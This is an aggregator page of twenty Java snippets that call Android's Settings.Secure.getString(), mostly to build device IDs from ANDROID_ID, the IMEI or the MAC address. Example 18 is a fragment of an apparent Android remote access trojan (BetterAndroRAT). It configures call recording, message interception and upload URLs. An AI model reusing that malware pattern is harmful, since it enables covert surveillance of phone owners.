Java Code Examples for android.provider.Settings.Secure#getString()
The following examples show how to use
android.provider.Settings.Secure#getString() .
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: WidgetProvider.java From PressureNet with GNU General Public License v3.0 | 6 votes |
/** * Get a unique ID by fetching the phone ID and hashing it * * @return */ private String getID() { try { MessageDigest md = MessageDigest.getInstance("MD5"); String actual_id = Secure.getString(mContext .getContentResolver(), Secure.ANDROID_ID); byte[] bytes = actual_id.getBytes(); byte[] digest = md.digest(bytes); StringBuffer hexString = new StringBuffer(); for (int i = 0; i < digest.length; i++) { hexString.append(Integer.toHexString(0xFF & digest[i])); } return hexString.toString(); } catch (Exception e) { return "--"; } }
Example 2
Source File: CbBatchSender.java From PressureNet-SDK with MIT License | 6 votes |
/** * Get a hash'd device ID * * @return */ public String getID() { try { MessageDigest md = MessageDigest.getInstance("MD5"); String actual_id = Secure.getString(context .getContentResolver(), Secure.ANDROID_ID); byte[] bytes = actual_id.getBytes(); byte[] digest = md.digest(bytes); StringBuffer hexString = new StringBuffer(); for (int i = 0; i < digest.length; i++) { hexString.append(Integer.toHexString(0xFF & digest[i])); } return hexString.toString(); } catch (Exception e) { return "--"; } }
Example 3
Source File: BarometerNetworkActivity.java From PressureNet with GNU General Public License v3.0 | 6 votes |
/** * Get a unique ID by fetching the phone ID and hashing it * * @return */ private String getID() { try { MessageDigest md = MessageDigest.getInstance("MD5"); String actual_id = Secure.getString(getApplicationContext() .getContentResolver(), Secure.ANDROID_ID); byte[] bytes = actual_id.getBytes(); byte[] digest = md.digest(bytes); StringBuffer hexString = new StringBuffer(); for (int i = 0; i < digest.length; i++) { hexString.append(Integer.toHexString(0xFF & digest[i])); } return hexString.toString(); } catch (Exception e) { return "--"; } }
Example 4
Source File: Identity.java From Android-Commons with Apache License 2.0 | 6 votes |
/** * Returns an identifier that is unique for this device * * The identifier is usually reset when performing a factory reset on the device * * On devices with multi-user capabilities, each user usually has their own identifier * * In general, you may not use this identifier for advertising purposes * * @param context a context reference * @return the unique identifier */ @SuppressLint("NewApi") public static String getDeviceId(final Context context) { if (mDeviceId == null) { final String androidId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID); if (androidId != null && !androidId.equals("") && !androidId.equalsIgnoreCase("9774d56d682e549c")) { mDeviceId = androidId; } else { if (Build.VERSION.SDK_INT >= 9) { if (Build.SERIAL != null && !Build.SERIAL.equals("")) { mDeviceId = Build.SERIAL; } else { mDeviceId = getInstallationId(context); } } else { mDeviceId = getInstallationId(context); } } } return mDeviceId; }
Example 5
Source File: BarometerNetworkActivity.java From PressureNet with GNU General Public License v3.0 | 6 votes |
/** * Set a unique identifier so that updates from the same user are seen as * updates and not new data. */ private void setId() { try { MessageDigest md = MessageDigest.getInstance("MD5"); String actual_id = Secure.getString(getApplicationContext() .getContentResolver(), Secure.ANDROID_ID); byte[] bytes = actual_id.getBytes(); byte[] digest = md.digest(bytes); StringBuffer hexString = new StringBuffer(); for (int i = 0; i < digest.length; i++) { hexString.append(Integer.toHexString(0xFF & digest[i])); } android_id = hexString.toString(); } catch (Exception e) { // e.printStackTrace(); } }
Example 6
Source File: DeviceUuidFactory.java From apigee-android-sdk with Apache License 2.0 | 5 votes |
private UUID generateDeviceUuid(Context context) { // Get some of the hardware information String buildParams = Build.BOARD + Build.BRAND + Build.CPU_ABI + Build.DEVICE + Build.DISPLAY + Build.FINGERPRINT + Build.HOST + Build.ID + Build.MANUFACTURER + Build.MODEL + Build.PRODUCT + Build.TAGS + Build.TYPE + Build.USER; // Requires READ_PHONE_STATE TelephonyManager tm = (TelephonyManager) context .getSystemService(Context.TELEPHONY_SERVICE); // gets the imei (GSM) or MEID/ESN (CDMA) String imei = tm.getDeviceId(); // gets the android-assigned id String androidId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID); // requires ACCESS_WIFI_STATE WifiManager wm = (WifiManager) context .getSystemService(Context.WIFI_SERVICE); // gets the MAC address String mac = wm.getConnectionInfo().getMacAddress(); // if we've got nothing, return a random UUID if (isEmpty(imei) && isEmpty(androidId) && isEmpty(mac)) { return UUID.randomUUID(); } // concatenate the string String fullHash = buildParams.toString() + imei + androidId + mac; return UUID.nameUUIDFromBytes(fullHash.getBytes()); }
Example 7
Source File: OpenUDID_manager.java From Cangol-appcore with Apache License 2.0 | 5 votes |
private void generateOpenUDID() { if (LOG) Log.d(TAG, "Generating openUDID"); //Try to get the ANDROID_ID OpenUDID = Secure.getString(mContext.getContentResolver(), Secure.ANDROID_ID); if (OpenUDID == null || OpenUDID.equals("9774d56d682e549c") || OpenUDID.length() < 15 ) { //if ANDROID_ID is null, or it's equals to the GalaxyTab generic ANDROID_ID or bad, generates a new one final SecureRandom random = new SecureRandom(); OpenUDID = new BigInteger(64, random).toString(16); } }
Example 8
Source File: Util.java From Leanplum-Android-SDK with Apache License 2.0 | 5 votes |
private static String getAndroidId(Context context) { @SuppressLint("HardwareIds") String androidId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID); if (androidId == null || androidId.isEmpty()) { Log.i("Skipping Android device id; no id returned."); return null; } if (Constants.INVALID_ANDROID_ID.equals(androidId)) { Log.v("Skipping Android device id; got invalid " + "device id: " + androidId); return null; } Log.v("Using Android device id: " + androidId); return checkDeviceId("android id", androidId); }
Example 9
Source File: Utility.java From Abelana-Android with Apache License 2.0 | 5 votes |
public static String getHashedDeviceAndAppID(Context context, String applicationId) { String androidId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID); if (androidId == null) { return null; } else { return sha1hash(androidId + applicationId); } }
Example 10
Source File: SecurePreferencesOld.java From FimiX8-RE with MIT License | 5 votes |
private static String getDeviceSerialNumber(Context context) { try { String deviceSerial = (String) Build.class.getField("SERIAL").get(null); if (TextUtils.isEmpty(deviceSerial)) { return Secure.getString(context.getContentResolver(), "android_id"); } return deviceSerial; } catch (Exception e) { return Secure.getString(context.getContentResolver(), "android_id"); } }
Example 11
Source File: DeviceInfo.java From product-emm with Apache License 2.0 | 5 votes |
/** * Returns the IMEI Number. * @return - Device IMEI number. */ public String getDeviceId() { String deviceId = null; if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { deviceId = telephonyManager.getDeviceId(); } if (deviceId == null || deviceId.isEmpty()) { deviceId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID); } return deviceId; }
Example 12
Source File: Utility.java From barterli_android with Apache License 2.0 | 5 votes |
public static String getHashedDeviceAndAppID(Context context, String applicationId) { String androidId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID); if (androidId == null) { return null; } else { return sha1hash(androidId + applicationId); } }
Example 13
Source File: DeviceInfo.java From product-emm with Apache License 2.0 | 5 votes |
/** * Returns the IMEI Number. * @return - Device IMEI number. */ public String getDeviceId() { String deviceId = telephonyManager.getDeviceId(); if (deviceId == null || deviceId.isEmpty()) { deviceId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID); } return deviceId; }
Example 14
Source File: HWUtils.java From RePlugin-GameSdk with Apache License 2.0 | 4 votes |
public static String getAndroidId(Context context) { String aid=Secure .getString(context.getContentResolver(), Secure.ANDROID_ID); return null==aid||0==aid.length()?"":aid; }
Example 15
Source File: IdSampleFragment.java From genymotion-binocle with Apache License 2.0 | 4 votes |
private void doDecode(){ try { // Set up secret key spec for 128-bit AES decryption String androidId = Secure.getString(getActivity().getContentResolver(), Secure.ANDROID_ID); SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1"); KeySpec spec = new PBEKeySpec(androidId.toCharArray(), salt, 45, 128); SecretKeySpec sks = new SecretKeySpec(factory.generateSecret(spec).getEncoded(), "AES"); // Create AES cipher Cipher cipher = Cipher.getInstance("AES"); cipher.init(Cipher.DECRYPT_MODE, sks); // This stream read the encrypted text. FileInputStream fis = getActivity().openFileInput(FILE_NAME); // Wrap the input stream CipherInputStream cis = new CipherInputStream(fis, cipher); // Read and decrypt file int size = SECRET_MESSAGE.getBytes(UTF8_CHARSET).length; byte[] message = new byte[size]; int pos = 0; int read; do { read = cis.read(message, pos, size); pos += read; size -= read; } while (read > 0); String secret = new String(message, UTF8_CHARSET); String label = getActivity().getResources().getString(R.string.decoding_done, secret); tvAndroidId.setText(label); } catch (NoSuchPaddingException | NoSuchAlgorithmException | IOException | InvalidKeyException | InvalidKeySpecException e) { Log.e(TAG, "Unable to decrypt secret", e); tvAndroidId.setText(R.string.decoding_failed); } }
Example 16
Source File: DeviceUuidFactory.java From Pushjet-Android with BSD 2-Clause "Simplified" License | 4 votes |
public DeviceUuidFactory(Context context) { if (uuid == null) { synchronized (DeviceUuidFactory.class) { if (uuid == null) { final SharedPreferences prefs = context .getSharedPreferences(PREFS_FILE, 0); final String id = prefs.getString(PREFS_DEVICE_ID, null); if (id != null) { // Use the ids previously computed and stored in the // prefs file uuid = UUID.fromString(id); } else { final String androidId = Secure.getString( context.getContentResolver(), Secure.ANDROID_ID); // Use the Android ID unless it's broken, in which case // fallback on deviceId, // unless it's not available, then fallback on a random // number which we store to a prefs file try { if (!"9774d56d682e549c".equals(androidId)) { uuid = UUID.nameUUIDFromBytes(androidId .getBytes("utf8")); } else { final String deviceId = ( (TelephonyManager) context .getSystemService(Context.TELEPHONY_SERVICE)) .getDeviceId(); uuid = deviceId != null ? UUID .nameUUIDFromBytes(deviceId .getBytes("utf8")) : UUID .randomUUID(); } } catch (UnsupportedEncodingException e) { throw new RuntimeException(e); } // Write the value out to the prefs file SharedPreferences.Editor editor = prefs.edit(); editor.putString(PREFS_DEVICE_ID, uuid.toString()); editor.apply(); } } } } }
Example 17
Source File: DeviceUuidFactory.java From apigee-android-sdk with Apache License 2.0 | 4 votes |
public DeviceUuidFactory(Context context) { if (uuid == null) { synchronized (DeviceUuidFactory.class) { if (uuid == null) { final SharedPreferences prefs = context .getSharedPreferences(PREFS_FILE, 0); final String id = prefs.getString(PREFS_DEVICE_ID, null); if (id != null) { // Use the ids previously computed and stored in the // prefs file uuid = UUID.fromString(id); } else { final String androidId = Secure .getString(context.getContentResolver(), Secure.ANDROID_ID); // Use the Android ID unless it's broken, in which case // fallback on deviceId, // unless it's not available, then fallback on a random // number which we store // to a prefs file try { if (!"9774d56d682e549c".equals(androidId)) { uuid = UUID.nameUUIDFromBytes(androidId .getBytes("utf8")); } else { final String deviceId = ((TelephonyManager) context .getSystemService(Context.TELEPHONY_SERVICE)) .getDeviceId(); uuid = deviceId != null ? UUID .nameUUIDFromBytes(deviceId .getBytes("utf8")) : generateDeviceUuid(context); } } catch (UnsupportedEncodingException e) { throw new RuntimeException(e); } // Write the value out to the prefs file prefs.edit() .putString(PREFS_DEVICE_ID, uuid.toString()) .commit(); } } } } }
Example 18
Source File: MyService.java From BetterAndroRAT with GNU General Public License v3.0 | 4 votes |
@Override public void onStart(Intent intent, int startId) { // Notification note= new Notification(0, "Service Started", System.currentTimeMillis()); // startForeground(startId, note); Create Icon in Notification Bar - Keep Commented super.onStart(intent, startId); Log.i("com.connect", "Start MyService"); // StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build(); // StrictMode.setThreadPolicy(policy); androidId = Secure.getString(getApplicationContext().getContentResolver(), Secure.ANDROID_ID); if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getInt("Timeout", 0)<1) { PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putInt("Timeout", timeout).commit(); } if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getBoolean("RecordCalls", false)!=false || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getBoolean("RecordCalls", false)!=true) { PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("RecordCalls", recordCalls).commit(); } if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getBoolean("intercept", false)!=false || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getBoolean("intercept", false)!=true) { PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("intercept", intercept).commit(); } if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "")==null || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "").equals("")) { PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("AndroidID", androidId).commit(); } if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "")==null || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "").equals("")) { PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("File", Environment.getExternalStorageDirectory().toString() + File.separator + "System").commit(); } if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "")==null || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "").equals("")) { PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("urlPost", urlPostInfo).commit(); } if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("backupURL", "")==null || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("backupURL", "").equals("")) { PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("backupURL", backupURL).commit(); } //******************************************************************************************************************************************************** threadPre.start(); //******************************************************************************************************************************************************** }
Example 19
Source File: CommonUtils.java From letv with Apache License 2.0 | 4 votes |
public static boolean isEmulator(Context context) { return SDK.equals(Build.PRODUCT) || GOOGLE_SDK.equals(Build.PRODUCT) || Secure.getString(context.getContentResolver(), "android_id") == null; }
Example 20
Source File: CaptioningManager.java From android_9.0.0_r45 with Apache License 2.0 | 2 votes |
/** * @return the raw locale string for the user's preferred captioning * language * @hide */ @Nullable public final String getRawLocale() { return Secure.getString(mContentResolver, Secure.ACCESSIBILITY_CAPTIONING_LOCALE); }